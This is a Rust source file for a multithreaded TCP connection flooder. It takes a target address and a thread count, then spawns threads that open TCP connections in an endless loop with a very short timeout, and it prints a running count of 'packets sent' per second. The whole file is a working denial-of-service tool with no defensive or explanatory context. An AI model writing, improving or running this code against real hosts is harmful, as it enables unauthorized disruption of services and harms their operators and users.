use std::{
    io::{self, Write},
    net::{SocketAddr, TcpStream},
    sync::atomic::{AtomicU64, Ordering},
    sync::Arc,
};

use clap::Parser;

#[derive(Debug, Parser)]
struct Args {
    #[clap(default_value = "127.0.0.1:113")]
    ip: SocketAddr,

    #[clap(default_value = "20")]
    threads: u64,
}

fn main() {
    let cli = Args::parse();

    let threads = cli.threads;

    println!("Target: {}", cli.ip);

    let send_count = Arc::new(AtomicU64::new(0));

    for _ in 0..threads {
        let send_count = Arc::clone(&send_count);
        std::thread::spawn(move || loop {
            match TcpStream::connect_timeout(&cli.ip, std::time::Duration::from_nanos(100)) {
                Ok(_) => send_count.fetch_add(1, Ordering::Relaxed),
                Err(_) => send_count.fetch_add(1, Ordering::Relaxed),
            };
        });
    }

    std::thread::spawn(move || {
        let mut last_count = 0;
        loop {
            let send_count = send_count.load(Ordering::Relaxed);
            print!(
                "{} Packets sent. {}/sec",
                send_count,
                send_count - last_count
            );
            last_count = send_count;
            io::stdout().flush().unwrap();
            std::thread::sleep(std::time::Duration::from_secs(1));
            print!("\r");
        }
    });

    println!("{} Threads created.", threads);

    loop {
        std::thread::sleep(std::time::Duration::from_secs(1));
    }
}